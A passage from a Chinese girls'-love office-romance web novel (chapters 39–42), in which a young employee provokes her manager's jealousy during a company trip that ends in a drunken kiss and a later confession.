时千岁没再理会,甚至心情颇好地哼起了轻快的小曲
周五下午,本该是打工人一周最放松活跃的时刻,整个策划部却异常安静,每个人都绷紧神经,只因为门口出现的那个人影。
周琦琦用文件挡着脸,压低声音对时千岁说,“言经理以‘路过’为由,这都第三次晃到咱办公室门口了。”
时千岁目光不离手机屏幕,“我知道。”她淡淡提醒,“你该干嘛干嘛。”
“哦…”周琦琦有点忐忑地站起身,和众人讲,“周妈说…”她看了眼门口的言浠,改掉了这个不太规矩的称呼,“周主管说,我们这个月工作辛苦了,下周休息日安排大家去避暑山庄放松放松,遵循自愿原则,去的报名,我统计人数。”
同事们蠢蠢欲动,但碍于门口言浠的存在,一时无人敢开口。
时千岁率先打破了这片沉寂,“算我一个。”
有人带头,其他人也陆续举手:
“我去。”
“我也报个名……”
“那个……能带家属吗?”
讨论得正热闹时,周主管正好走到门口,清了清嗓子示意大家安静,又转向言浠微微颔首,“言经理?”
言浠淡淡“嗯”了一声,解释道:“路过而已,你们继续。”
见她没有要走的意思,周主管出于礼貌,随口问了句:“言经理有兴趣参加我们部门聚会吗?”
时千岁冷飕飕出了声,“言经理日理万机,哪有时间陪我们玩过家家。”
对嘛,而且聚会本意是放松,可言经理性格那么冷,她若去了,大家哪里还放松得起来?众人屏住呼吸,默默祈祷她的拒绝。
谁料言浠却是破天荒的答应了,“有兴趣,也有时间。”
周主管&众同事:“!!!”
时千岁转过脸,继续冷飕飕,“我们部门经费有限,晚上睡觉只能住标间,言经理何苦过来受罪?”
这孩子,今天说话怎么夹枪带棒的呢?周主管急忙朝她使眼色。
“小时人比较直,说话有时候不经大脑,言经理别见怪,她没别的意思。”
言浠淡淡道,“没关系。林经理说我平时过于严肃,不利于公司凝聚力的提升,建议我适当地的和员工们培养感情。到时林经理也去,你们放开玩,一切费用我出。”
说完,言浠朝时千岁挑挑眉,大有一番“你能奈我何”的意味,接着,从容离去。
时千岁气愤地望着那道背影,磨了磨牙。
周琦琦看不懂了,“前两天还好好的,今天玩上对抗路情侣了,这对吗?”
时千岁拍了拍她的肩,问,“我和你女神学姐你只能选一个,你选谁?”
“这么快就分家啦?”她还没吃上热乎滴捏,周琦琦挣扎片刻,“选你,说好了做牛做马一辈子,差一分一秒都不行。”
“够意思。”
…
周六一早,旅行大巴按约定的时间停在了公司门口等待。
周琦琦和时千岁负责清点人数和核对行程安排。
眼尾余光留意到言浠和林沐涵走过来,时千岁示意周琦琦,“牵我。”
周琦琦不懂,“啊?”
时千岁急,“我让你牵我手!”
不好吧,周琦琦第六感,这个手一但牵上,她的下场一定特别惨。
眼看两人走到她们跟前,时千岁也顾不上那么多,一把抓起周琦琦的手塞进了掌心,甚至还想与其十指相扣,但刚做出这个举动,她便将手指又退了出来。
实在是过不了心里那关。
时千岁装作若无其事的将手举到空中,晃了晃,“好姐妹!”
一道裹挟着寒冰的眼刀死死地落到周琦琦身上。
周琦琦磕磕绊绊,“一…一辈…子。”
能不能争点气!时千岁瞪她。
争气不了一点,言经理太可怕了,这个手再牵下去,言经理马上就要化身冷面屠夫了,她可不想年纪轻轻变成独臂女孩,周琦琦“嗖”地收回手,头也不回地逃上了大巴车。
时千岁感受到言浠的目*光,回望过去,挑衅道,“看什么看?”
言浠:“!!!”
她眉心一跳,猛地把头转向林沐涵。
林沐涵:“”
“看我干什么,我已经被你当借口利用过一次了,能陪你来已经很不错了,别想我牵你,陪你做戏。”
言浠:“”
…
同事们陆陆续续抵达,时千岁等最后一人到齐,跟着钻进了车厢。
“师傅,可以发车了,”说完,坐到了周琦琦身边空位上。
“你怎么出这么多汗”时千岁察觉到身边人异样,从包里翻找出一包纸巾递了上去。
周琦琦哆哆嗦嗦地接过,生硬地说了声,“谢谢”
时千岁目光移到她紧绷的肩头,问,“你很紧张吗?”
能不紧张吗,周琦琦欲哭无泪,从上车起,女神学姐的目光就一直放在她身上,跟冰刀子一样,她都快成冰雕了,太恐怖了!
时千岁见她不动,又贴心的给她拿过来一瓶水拧开送到了她嘴边。
身后那道视线愈加冰冷,周琦琦如芒在背。
她艰难地扭动了下脖子,“谢谢啊,但是不用了。”
“小美人,我虽然可以勉强牺牲小我成为你们play中的一环,但不能真的“牺牲”,你懂我意思吗?”
时千岁:“???”
这都哪跟哪啊?
周琦琦没有过多解释,把头一转,问向隔壁和周主管同坐的徐梦瑶,“咱两换个位置吧,你知道的我这人天生愚钝,工作方面好多地方不明白,需要时刻受周妈教诲,对了晚上我也想和周妈彻夜长谈,你跟我换换吧,你去跟千岁睡,好吗好吗好吗?”别逼我跪下来求你。
徐梦瑶听闻整个人都愣住了,直到手中的水杯滑落,水溅湿了裤子,这才慌乱地埋下头,翻找背包,结果一个没拿稳,包内的物件洒落了一地。
周琦琦见她久不答应,以为她有所顾虑,便道,“算了,我求别人吧。”
只见徐梦瑶飞快扬起头,激动道,“我愿意!”
周围人的目光被这猛然拉高的音调吸引过来,徐梦瑶脸颊滚烫,匆匆把头埋下,声若蚊呐,“真的可以吗?”
“当然,”周琦琦无视时千岁的怒容,麻利的与其调换了个位置。
叛徒,时千岁瞪了一眼周琦琦,目光又移向身边人。
只见徐梦瑶双手紧紧搅在一起,一动不动地盯得司机的后脑勺,仿佛入了定一般。
时千岁看了眼她被水洇湿了一块的裤子,把纸巾递了过去,“徐梦瑶?”
徐梦瑶紧张地站了起来,“在!”
反应这么大干嘛,时千岁无奈了,拉徐梦瑶坐下,拿出纸巾替她擦拭裤子上的水渍,“这么大个人,笨手笨脚。”
“我我自己来!”徐梦瑶伸手去接纸巾,一不小心碰触到了时千岁的手背,掌心一烫,心跳跟着失了控,她匆匆移开了手,“对对不起。”
位于最后排的言浠死死盯着眼前一幕,突然开口,“她喜欢她,她看不出来吗”
“什么她她她?”正在回复工作邮件的林沐涵忙碌中抬起了眼。
言浠一把扣住林沐涵手腕,咬牙道,“我说那个徐什么瑶喜欢时千岁!”
徐梦瑶:“”
还挺敏锐。
“听着,我很忙,真没功夫和你闹了。”
一小时后,大巴车停在了德秀山庄大门口。
这家山庄依山傍水,游玩项目众多,射箭场、马场、棋牌室、ktv,一应俱全,溪边还能露营烧烤,人均不到一百,经济实惠,公司团建的不二之选。
一众人先是去房间放置行李,然后开始自由活动。
时千岁见徐梦瑶一直在向马场方向偷瞄,便提议道,“我们去骑一会儿马?”
徐梦瑶面露犹豫,“还是算了吧。”
时千岁一眼看出她的口是心非,于是玩笑道,“不想跟我玩?”
徐梦瑶急忙反驳,“不是”
“那是?”时千岁挑眉。
徐梦瑶只能实话实说,“太阳这么大,”而千岁的皮肤又这么白嫩,“万一把你晒黑怎么办?”
时千岁无奈,“我哪有那么娇气。”
她递给徐梦瑶一瓶防晒,两人涂好防晒,一同前往马场
穿好护具,时千岁带徐梦瑶挑选马匹。
工作人员给两人依次介绍马匹的性格和训练年份,时千岁突然定住了脚步,指了指面前的线条紧实、四蹄踏雪的大黑马,“就它了。”
工作人员一愣,“小姑娘好有眼光,一眼就选中了我们这的头牌。”
“这马叫追风,拿过很多比赛的金牌的,我们马场花大价钱受购的,但新手的话不建议选它,它没其它马温顺。”
时千岁亲昵摸了摸“追风”的头,胸有成竹道,“放心,骑了十年了。”
哇,徐梦瑶看时千岁的目光中又多了一层崇拜,好厉害。
“发什么呆啊,该你了,”时千岁催促道。
徐梦瑶咬了咬唇,壮着胆子问,“等下我能不能跟你骑一匹,我不会”
还以为多大的事,时千岁爽快道,“没问题,我教你。”
两人把马牵到场地,时千岁熟练地抓住马鞍,翻身上马,围着场地小跑了一圈,和马磨合,然后停在徐梦瑶面前,伸出了手,“你扶着我,慢慢上来。”
徐梦瑶把手搭上去,小心坐了上来。
时千岁一手抓住缰绳,一手扶住了她的腰,“放松点,我先带你走两圈,你适应一下,等会教你指令。”
温柔的呼吸吹散了耳边碎发,露出徐梦瑶羞涩的笑意,“好。”
言浠站在窗边,视线始终追随着马场上“依偎”在一起的两道身影。
“再捏,水杯要碎了,”林沐涵提醒。
话音未落,言浠重重地把杯子往窗台一放,“咔嚓”杯子应声而碎。
“还打情骂俏!”
林沐涵:“”
不是,不就是骑个马,至于醋海翻涌吗?
言浠语速飞快,“你陪我去骑马。”
“咱两也骑一匹。”
林沐涵无奈,“你幼不幼稚?”
“你不爽你直接跟她讲不行吗?”
“言浠,你是没长嘴吗?”
40
第40章
◎那天,你明明就很想吻我◎
两人还是低估了八月份正当午太阳的毒辣程度,高温炙烤下,时千岁体力严重不支,骑马教学只持续了10分钟便匆匆而止。
时千岁整个下午都躲在空调房里。
徐梦瑶则是出门和同事们一起去准备晚上烧烤的食材,直到太阳下了山,才回来招呼时千岁。
“千岁,要是还不舒服,就再睡会,你想吃什么告诉我,我等会给你送过来。”
“没事了,”早就休息好了,再休息下去耽误大事了,时千岁连忙爬起来去卫生间换衣服。
五分钟后,两人出了房间,和大部队汇合。
溪边支起了烧烤架,老远处便能看见上方飘起的袅袅炊烟。
在夕阳的余韵和银丝缥缈中,一抹熟悉的身影猝不及防地撞入了时千岁的视线。
时千岁脚步定在原地,指着那道身影问,“徐梦瑶,那个给大家烧烤的是言浠?”
“没错,是言经理。”
“她很闲吗?”居然还伺候起了别人!时千岁心里吃味,脚步也越迈越快,不一会就冲到言浠面前,阴阳怪气道,“言经理,和员工培养感情呢?”
言浠还未答话,周琦琦便抢先道,“对啊,女神学姐好厉害,”她塞给时千岁一把滋滋冒油的羊肉串,“这味道太哇塞了,比我吃过的任何一家烧烤都要好吃一百倍!”
旁边同事纷纷附和,“对啊,没想到言经理还有这手艺。”
“言经理下午那会还出去给我们买了小龙虾和螃蟹,给我们加餐。”
难怪一下午没看见言浠,时千岁重重地坐到了椅子上。
一排排烤好的食物送上餐桌,周主管招呼言浠入座,开始了餐前致辞,“欢迎言经理和林经理百忙之中参与我们部门小聚,我提议大家共同举杯先敬二位领导一杯。”
众人齐齐端起了酒杯。
言浠以饮料代酒,“不用那么严肃,今天无上下级之分。”
底下人都悄悄松了口气。
共饮一杯后,随着林沐涵一句简单发言“开吃”,饭桌上逐渐热闹了起来。
徐梦瑶给时千岁拿来一次性碗筷和手套,准备给她剥虾。
时千岁留意到这个举动,连忙喝止,“别动,我自己来,”她依然记得和徐梦瑶第一次吃饭时,徐梦瑶被虾壳扎伤的事情。
徐梦瑶垂下眼帘,掩饰难过,“好。”
时千岁自顾自的剥虾,突然听到身边传来一声极其轻微的“嘶”。
抬眼望去,就见徐梦瑶神情恍惚地捂着手指。
“笨死了,”时千岁把刚刚剥好的虾肉推到徐梦瑶面前,“你吃这个。”
“要要给我吗?”徐梦瑶指尖紧紧扣着衣角,在得到肯定答案后,露起了腼腆的笑容。
不远处看着这一幕的言浠,眼底涌起了熊熊怒火。
林沐涵在一旁说起了风凉话,“与其与跟筷子较劲,不如过去哄哄她,不然你未来的小女朋友,”她一个停顿,“要飞走喽~”
“咔嚓,”言浠手中的筷子,瞬间断成了两节
周琦琦从别桌喝完酒,坐回到时千岁身边,有点醉醺醺的,“千岁咱两还没喝过酒,你来点呗,别跟我说你喝不了,上次我可是见识过了。”
时千岁抬眼,迎着言浠的目光重重地咬下了两个字,“好啊。”
言浠瞬间坐不住了,猛地站起身与周琦琦说,“我替时千岁和你喝!”让小家伙喝酒那还得了,这次跟小家伙睡的又不是自己!
周琦琦非常有眼力的给她让了位置,言浠坐了过来,拿起了时千岁手边的啤酒,把杯子倒满。
徐梦瑶见状诧异不以。
时千岁咬了口肉串,不紧不慢地解释,“我爸爸和她相识,当初拜托她照顾我而已。”
小家伙第一次说这句话时像是气话,现在说这番话的语气更像是撇清关系,言浠猛地灌下一杯啤酒,压抑心头翻涌起的痛楚。
周琦琦见她如此痛快,又将杯子倒满,得寸进迟道,“替人喝酒要三杯哦。”
周主管路过正巧听到周琦琦的发言,急忙喝止,“怎么还劝起酒来了,言经理你别跟小周一般见识,她飘了。”
“没事,”言浠摆摆手,又端起酒杯一饮而尽,“三杯就三杯。”
周琦琦鼓掌,“女神学姐好酒量!”
“哎呀,周妈,明天又不上班,可劲喝呗怕啥,还有啊女神学姐可发话了,今晚没有上下级之分,对吧对吧。”
言浠最后一杯和周琦琦碰了杯,再度一饮而尽,“没错,还喝吗?”
“喝啊,”周琦琦指着地上的几箱啤酒,“女神学姐有这雅兴,在下一定奉陪。”
“但是干喝有点点无聊哎,不然我们玩游戏吧?”
酒足饭饱,男同事们转移了战场,相约棋牌室,剩下的人被组织到了一桌。
周琦琦拿了个空酒瓶放到桌子中间,“简单点,真心话大冒险呗。”
时千岁无所谓,“可以。”
言浠随后表态,“那我也行。”
徐梦瑶看林沐涵独自坐在角落里,鬼使神差的唤了一声,“林经理,你不玩吗?”
林沐涵抬起头,看了一眼这边,吝啬地吐出一个字,“忙。”
周琦琦酒喝多了,胆子便大了起来,劝道,“林学姐既然都出来玩了,工作先放放呗,还是说林学姐不敢玩?”
林沐涵脸色一沉,空气瞬间凝滞,周琦琦也自知说错了话,连忙道歉。
只见林沐涵放下了手机,向她们走来,“我有什么不敢的。”
周琦琦顿时松了口气,连忙让位置。
“先说好,成人局,都放开点,嘿嘿。”
说着,转动瓶子。
瓶口转了一圈又一圈,最终指向了她自己。
周琦琦:“”
“行吧,我先给你们打个样,真心话吧。”
一位大姐率先开口,“小周平时会diy吗最喜欢哪种小玩具?”
周琦琦脸一下子爆红,拿起啤酒就往嘴里吹,“我选喝酒!”
“这都不行啦?还成人局?”众人纷纷打趣。
“来来来,第二局,”周琦琦再度转动瓶子,这次瓶口对准了时千岁。
时千岁挑眉,“来啊,”无所畏惧。
大姐再度出击,“千岁啊,快说说择偶标准,一直藏着掖着我可太好奇了。”
“首先,得是女的。”
“啊,”大姐一副天塌了的表情,“我还想着把我大侄子介绍给你呢,看来是没戏了。”
大姐悲痛了一瞬,继续八卦,“然后呢,公司里有没有你喜欢的类型?”
时千岁云淡风轻地看了言浠一眼,“以前有,但是嘛,现在的我只喜欢喜欢我的人。”
徐梦瑶是抑制不住的欣喜,而一旁的言浠眼神一黯,再次拿起了酒杯。
周琦琦不爽,“大姐,你怎么轮到千岁就一点也不“成人”?偏心!”
游戏继续,瓶口再度指向了时千岁。
这次周琦琦亲口提问,“你有过性幻想对象吗?请详细描述。”
“有啊,”时千岁意味深长地看向言浠,“想起她就控制不住的”她做了个唇语,“湿,”只能靠打打太极克服,“还有啊,我还做过好几次春梦呢,梦里她用我最喜欢的姿势”
言浠喉咙轻轻往下一滚,“什么姿势?”
时千岁狡黠一笑,“抱歉,不能回答了,害羞,我选喝酒。”
说罢便拿起了酒杯。
言浠眼疾手快地抢走,“我喝!”
周琦琦急忙伸出三根手指。
言浠读懂了她的意思,一口气又是连喝三杯。
接下来的游戏,又指向了时千岁好几次。
尺度均很露骨,言浠未等她开口,便抢先替她喝了酒。
可能是喝的过急,亦或者是很久滴酒未沾的缘由,言浠眼前开始混沌不清,周遭的人也变成了重影,她使劲扶着桌子,才勉强稳住了身形。
“你们这样就没意思了啊,下一局玩大冒险,不能替酒。”
周琦琦说完,手腕一甩。
瓶酒瓶转啊转,最终指向了一旁沉默已久的林沐涵。
“林学姐啊,那简单一点,亲你左手边一下,”周琦琦随口一说,反正她断定林沐涵不会陪着她们胡闹。
哪知林沐涵抬眼看了下左边的徐梦瑶,薄唇轻轻吐出一个字,“行,”接着凑上前,一口亲在了徐梦瑶的侧脸上。
在场所有人:“!!!”
哇哦!
林沐涵环顾四周,淡淡开口,“怎么了,你们又没规定一定要亲嘴,对吧。”
而另一位当事人在大家的注视下,脸颊逐渐发起烫来,羞意瞬时间席卷心头,她慌乱去寻时千岁,可看到的只是时千岁那毫不在意的神情,徐梦瑶悲从中来,撇下一句,“我有点累了,”就匆匆离场。
随着徐梦瑶的离席,场面一度陷入了尴尬。
不知是谁提出的散场,同事们接二连三的离开。
这时,时千岁走向了林沐涵,“咱两可以换房间了。”
林沐涵头也不抬,“随便你。”
时千岁费力地搀扶起言浠,缓缓离去。
约么过了五分钟,林沐涵终于反应过来。
她猛地一握拳,这小绿茶,居然还敢命令起她来了!
回酒店的路上,言浠被风一吹,醉的愈发厉害,整个人的重量几乎都压在了时千岁身上。
时千岁用尽了全身力气,终于把她架进了房间里。
房门重重一关,时千岁把人抵在了门上,另一只手摸索着打开了电灯开关。
“吧嗒”一声,房间霎时间亮如白昼。
言浠只能紧紧的扶着眼前人的腰肢,努力去克服随着光线变化而愈发加剧的眩晕感。
时千岁回过头,带着浓重欲念的目光近乎贪婪地描绘着女人的朦胧醉眼。
“言浠,照顾我,包含和我牵手吗?那我和周琦琦牵手你为什么会不高兴?”
“照顾我,也包括和我在一张床上抱着睡觉吗?”
时千岁彻底撕破伪装,目光明晃晃的落到了女人被酒气染红的双唇上,“那天,你明明就很想吻我。”
“还有,你不是想知道梦里我最喜欢哪个姿势吗?”时千岁勾起女人的下巴,指腹摩挲着她的唇珠,“吻我,我就告诉你。”
那带有蛊惑的声音一句句敲击在言浠的大脑里,那摇摇欲坠的理智顷刻间便彻底没入了混沌之中,她闭上眼低头吻住了那近在咫尺的渴望。
双唇相触的那一刻,时千岁灵魂都为之一震。
柔软、清甜带着一丝丝醉人的酒气,瞬间霸占了时千岁的每根神经,她沉醉于这份美好中,丝毫未觉言浠的舌尖以然撬开了她的齿缝,滑进了口腔。
感受到那湿润的触感,时千岁瞬间睁大了双眼,下一秒,这条软舌急切的深入,勾着她与之缠绵。
时千岁被吻的整个人都软了下来,身体控制不住的往下滑。
40-50
第41章
那舌尖如此靈活。
輕挑,慢磨,有著十足的耐心。
帶起綿延到脊椎骨的癢,癢意直達心底,直達靈魂。
室內溫度漸漸升高,時千歲身體裡仿佛也燃起了一把火,她微微張開唇,迷離的喘
息自唇齒間自然而然的流瀉。
直到下一秒。
滾燙的掌心貼到了那濕透的佈料上。
時千歲的月退心被燙了一下,短暫的找回了理智。
她推開她的头。
语句断断续续的不成样子,“言浠,放开我。”
“我还没洗澡。”
怔神之际,时千岁从她手下逃了出来,冲进了浴室。
大门一关,时千岁把身上仅剩的布料褪了个精光。
热水簌簌流淌,任它怎么浇也浇不熄身上的燥热。
时千岁脑海中的画面不停翻腾,眼睛也越来越亮。
言浠不仅不是性冷淡,还那么会,啊啊啊啊,好刺激,她以后有福了!
想到这,又是溃不成军。
时千岁感受到身体的异样,使劲拍了拍脸,强行中断了脑海中的画面
半小时后,时千岁终于收拾好了自己,门打开一个小缝,两只眼睛紧张地打量着室内,目光触及到床上沉睡的身影时,悬着的心终于落下,她推开门,小心翼翼地朝她走去。
床上的人被细微的动静吵醒,翻了个身。
时千岁立刻顿住脚步,屏住了呼吸。
生怕她彻底转醒,再来一次那来势汹涌让她招架不住的吻。
静静观察足有一分钟,看她呼吸绵长,彻底进入梦乡,这才走到衣柜前,拿出了言浠的睡衣,再度绕回到了床前。
她指尖微颤挑开领口的纽扣。
愈发向下,随着衣襟的敞开,一片细腻的雪白肌肤在昏暗光线下若隐若现,精致的锁骨线条向下延伸,没入更隐秘的阴影。
时千岁呼吸一滞,一股熟悉的,带着酥麻的燥热感瞬间从小腹窜起,身体里那股被强行压下的悸动卷土重来,黏腻来势汹汹。
时千岁:“!!!”
就知道,多少次了!
她就出息不了一点!
时千岁放下睡裙,再度冲进浴室。
冰凉的水流浇在脸上,喘息稍定,她端了一盆温热的清水,回到了床边。
她收敛了心神,用温热的毛巾仔细地擦拭起言浠的脸颊、脖颈,动作轻柔地不可思议。
收拾完一切,时千岁拉了把板凳坐到了她旁边。
紧紧地观察着眼前的一切。
喝那么多酒,她实在是放心不下。
时间一分一秒过去,困意来袭,时千岁眼皮逐渐沉重。
眼前人发出一声不安的呓语。
时千岁瞬间清醒,见她无恙,才长舒一口气。
就这样,时千岁守到她下半夜,最终是抵不住疲惫,躺进了她怀里,沉沉睡去
而另一边,徐梦瑶跑回房间后,便心生懊恼。
她静静地坐在床边,不住地想,千岁回来后该怎么解释那个吻,又该怎么解释自己那突然离席的举动。
门锁“咔哒”一声轻响,林沐涵推门而入,高跟鞋踩在地毯上发出沉闷的声响。
徐梦瑶闻声立刻从床边站起,期待望向门口,看清来人的瞬间,眼中的微光彻底熄灭,巨大的失落感沉甸甸压下,她飞快地低下头,手指绞紧了衣角,努力把喉头的哽咽压下,“林经理。”
林沐涵锐利的目光扫过房间,精准地捕捉到了徐梦瑶那瞬间黯淡下来的情绪,她没说什么,径直走向书桌旁放下了电脑包。
支起电脑,开机,林沐涵开始处理工作邮件,整个空间只剩下键盘敲击的清脆声响。
空气仿佛凝固了。
徐梦瑶站在原地,手足无措。
沉默像巨石压的她喘不过气,她咬了咬唇,鼓起勇气问道,“林林经理,千岁呢?”
林沐涵头也未抬,吐出简洁到近乎冷漠的四个字,“照顾言浠。”
“那”
指尖一顿,林沐涵的目光终于从屏幕上移开,落在徐梦瑶身上,那审视的眼神让徐梦瑶下意识缩了缩脖子。
“既然换了房间,约法三章,”林沐涵说。
她声音不大,却带着不容置疑的威压。
“第一,晚上一点前是我的工作时间,不要再跟我讲话;第二,洗澡玩手机,动作放轻;三睡觉不可以打鼾。”
话音刚落,桌上的手机嗡鸣起来,林沐涵也没看来电提示,迅速接起,声音瞬间切换工作模式,“讲。”
电话那头不知道说了什么,只见林沐涵眉头越拧越紧,她身体微微前倾,对着话筒,语速不快却字字如冰锥,精准地扎向对方的疏漏,“报告里为什么没有风险提示?预案呢?一小时后我要看到修正报告和完整的应对方案,做不到,项目组换人。”电话那头的人显然被训的噤若寒蝉,连呼吸都几不可闻。
徐梦瑶蜷缩进床角,听着林沐涵冷静到近乎残酷的剖析问题、下达指令,看着她专注时微微紧绷的下颚线和在冷光里显得异常精致的侧脸,一种难以言喻的自卑感如潮水般将她淹没。
千岁也一定喜欢这样强大的人吧,像林经理这样,不对是言经理。
不然饭桌上千岁的目光为什么总是不自觉地飘向言经理?不然又为什么要和林经理换房间?
酒精放大了她心底隐秘的不安和酸楚,眼眶再也盛不住汹涌的泪水,大颗大颗的滚落下来,砸进了床单里,晕开深色的痕迹。
压抑的啜泣声断断续续,林沐涵握着手机,带着被打扰的不悦,呵斥道,“哭什么?”
徐梦瑶被吓得浑身一颤,整个人瞬间缩成了一团,像受惊的兔子猛地钻进了被子里,她紧紧攥住身下的床单,把脸埋进枕头,试图堵住呜咽,可肩膀却控制不住地剧烈抖动,哭声反而显得更加破碎可怜。
林沐涵看着床上不住颤抖的那一团,烦躁地按了按眉心,她对着话筒,语气更冷更急,“按我说的做,现在!”不等对方反应便挂断了电话。
房间只剩徐梦瑶压抑的哭声。
林沐涵站起身,走到床边,居高临下的看着她,语气中带着一丝不耐和不易察觉的困惑,“我又没把你怎样,你到底在哭什么?”她就想不明白了,一句约法三章和接个工作电话怎么就值得哭成这样。
哭声非但没有止住,反而因为她的靠近和质问而愈发汹涌。
林沐涵被这没完没了的哭声搅得太阳穴突突直跳,烦躁感直冲头顶。
她看着这可怜兮兮的一团,脑海中蓦地闪过了聚会上那个一触即离的吻。
难不成林沐涵深吸一口气,“不就是亲了你一下?”她顿了顿,看着被子下骤然僵住的身影,破罐子破摔道,“不然你亲回来!”
话音落下,房间里陷入了一片死寂。
徐梦瑶被这话惊得忘记了哭泣,呼吸都窒住了。
林沐涵说完,自己也愣了一下,随即被一股陌生的、类似懊恼的情绪攫住,她猛地别开脸,耳根似乎有些不易察觉的热意。
她不再看眼前人,快步走回了书桌旁,重新打开了邮件。
屏幕的冷光亮起,映着她紧抿的嘴唇,敲击键盘的声音再度响起,却是比以前急促凌乱了许多
第二日将近中午,两间房几乎同时打开了门。
四人在走廊相遇。
林沐涵看向时千岁红肿的唇,言浠看了看徐梦瑶那红痕未消的眼尾。
两人猛地看向彼此,眼中均写了两个大字——禽兽!
她们一起简单的吃了个午饭,便出门和大部队汇合,准备回程之旅。
上了大巴车,言浠和林沐涵坐在回头补觉,时千岁在前头扣手机。
她打开韩曲凌的微信,和她汇报进展。
【叔叔在吗?】
韩曲凌秒回:【你的恋爱军师已上线。】
时千岁把这些天发生的事详详细细的跟韩曲凌描述了一遍。
【韩叔叔,就像你说的那样,我言语刺激她了,也稍微和别人肢体接触了,这招果然好用,就是吧】
韩曲凌:【就是什么啊就是,快点说啊,急死我了!!!】
时千岁悠悠打字道。
【好像有点用力过猛了,她差一点点就给我上了。】
韩曲凌更急了:【怎么就差一点点?差哪一步了?是她克制了还是你害羞了?】
时千岁回道:【我把她推开了,但绝不是因为害羞。】
韩曲凌的沉默震耳欲聋:【】
时千岁认真解释:【我不想还没确认关系就急着上床,虽然我很急。我也不想用这种事来影响言浠的决定。】
这次韩曲凌足足有五分钟才回复她:【干的漂亮,恭喜你成功从纯欲变成纯爱。】
两人回到家,言浠刚想回卧室,时千岁便上前一步挡到了她面前。
“你不觉得我们需要聊聊吗?”
言浠心里一慌,“聊什么?”
时千岁笑,“当然是聊我们昨天晚上发生的事啊。”
小家伙早上醒来一副若无其事的样子,对昨晚的事只字不提,言浠还以为翻了篇,没成想是打算秋后算账,憋了个大的!她闭了闭眼,强行稳住心绪,平静道,“我们有发生什么吗?”
时千岁提醒,“你吻我了,舌吻,还脱了我的衣服,还亲了我的”
记忆如潮水般涌来,热意席卷耳根,言浠匆匆别开眼,“不记得了。”
“别装了,我不信你不记得,你说的我一个字都不相信。”
言浠震惊!!!
怎么就不信了?
凭什么你喝醉酒可以不记得亲我这事,我却不行?
42
第42章
◎写文我会了,但是接吻还不会◎
时千岁目光灼灼,逼近一步,笃定道,“你就是对我有感觉!”
言浠深深吸一口气又缓缓吐出,强压下翻涌的情绪,“时千岁你听着,”她试图讲道理,“酒精主要抑制大脑的前额叶皮层,这是负责理性思考、判断和自我控制的区域。【注】一旦被抑制,人的自制力就会直线下降,原始的欲望就会蠢蠢欲动,如果再加上环境氛围的烘托,人会做出清醒时根本不会做的事,并不能证明亲你”她的目光无意间掠过时千岁微微起伏的胸口,口中的话突然卡了壳,“并不能证明做这件事的深层动机是源于“喜欢”。”
“不然韩曲凌为什么老去酒吧寻找一夜情对象?而且”
“而且什么而且!”时千岁不耐地打断她,“叽里咕噜说这么多,不就是想不认账吗?”
言浠垂下眼帘,避开那刺人的目光,“对不起。”
“我为我昨天冒犯行为道歉。”
“行,”时千岁狠狠点点头,给了她一个“算你狠”的眼神,转身大步离去。
言浠心脏骤然一缩,手几乎不受控制地抬了起来,伸向空中那个远去的背影。
指尖在在空中虚抓了一下,却终究,无力的垂下。
放弃了吗?也好。
小家伙还那么年轻,此刻所谓的感情,不过是荷尔蒙驱使的冲动。再滚烫的热情接连撞了两次南墙也该冷却消散了,等她再长大点,自然会分辨的清喜欢和冲动,也终会遇到真正值得托付的人,找到属于她的幸福。
言浠正定定的出神。
下一秒,侧卧的房门被重重地推开。
时千岁手里拎着两个大行李箱去而复返。
言浠目光猛地一晃,声音带了一丝明显的急迫和紧张,“你去哪里?”
时千岁闻言脚步一顿,随即,嘴角挑起一抹玩味的笑,“很怕我走?”她慢悠悠走上前,修长的手指勾起女人的下巴,“放心,我哪儿也不去。”
“言浠,我想好了,”时千岁收敛笑容,认真地望进了她的眼底,宣布道,“不管是我自作多情,还是你故意逃避,我都喜欢你,”她一字一顿,掷地有声,“并且,一定会追到你。”
说完,不顾言浠的错愕,飞速地钻进了主卧,并再次霸占了她的床,“赶我走,我就哭给你看。”
“哭一个晚上,到时候心疼的还是你。”
“你!!!”言浠一口气堵在胸口,眼见拦不住,只能无奈妥协,她匆匆撇下一句“随便你。”几乎是落荒而逃般的钻进了浴室。
半小时后,言浠终于勉强整理好思绪,推开了卧室门。
只见,两个大行李箱原封不动的躺在卧室的最中央,而它们的主人已经舒舒服服地躺好在床上,一双眼睛亮的惊人,似是在迎接着她的到来。
言浠手指无意识地蜷了一下,“你你不收拾一下?”
“以后有那么多时间收拾,何必急于一时,”时千岁语调轻松,掀开毯子一角,拍了拍身侧空出来的位置,“快来呀,我们很久没有一起睡了,你难道不想我吗?”
见言浠依旧像根钉子似的伫立在原地。
时千岁“啧”了一声,“你怕什么?我保证不对你动手动脚还不行吗?”
小家伙今天嚣张的过分,言浠微微蹙起眉,反驳道,“谁怕了?”说着便走到床前,在离时千岁最远的边缘躺了下去。
自昨天那失控的越界之后,再度同床共枕,言浠的心情远不如表面平静,她全身上下的感官都高*度戒备。
直觉告诉她,身边这个小家伙绝不会就此安分。
果不其然,静默不过几秒,身边人带着笑意,悠悠然的声音便响了起来,“言浠姐,你离我那么远干什么?”
言浠身体紧绷,说出口的声音也僵硬,“热。”
倏忽间柔软贴近,一只手臂不用拒绝地缠上她的腰,时千岁柔软的声音落到她耳边,“可是我不抱着你,你能睡着吗”
黑夜掩盖了骤然加剧的心跳,言浠的声音竭力维持平稳,“可以睡了吗?”
“当然,”时千岁嘴上应着,却撑起了身子,眼睛在黑夜里亮的惊人,“但是我还有问题没搞清楚。”
“昨天聚会的小龙虾和螃蟹,是专门为我买的吗?”
言浠沉默片刻,最终低低应了一声,“嗯。”
这一个“嗯”字像颗糖在心尖化开,甜的时千岁几乎想打滚,她按捺住雀跃,乘胜追击,“我还有个猜测言浠姐,你抄佛经和我打太极的作用是不是异曲同工?”
被精准戳穿,言浠只觉得脸上轰地一下烧起来,她张了张嘴,磕磕绊绊半天,最后只憋出来三个字,“快睡觉!”
哼哼,就知道言浠姐馋我身子,时千岁不依不饶,“我还想问你个问题。”
“言浠姐,你为什么那么会亲。”
“我还想”
还想什么?言浠心头警铃大作,还想再亲一次?
她就知道这小家伙安分不了!
言浠猛地坐起身,“啪”一下按亮床头灯,刺眼的光线瞬间驱散黑暗,她动作麻利地拉开床头抽屉,从里面摸出一捆绳子,威胁道,“我不赶你出去,但你是不是忘了我可以绑你?”
时千岁瞬间僵住。
她怎么忘了还有这一茬!!!
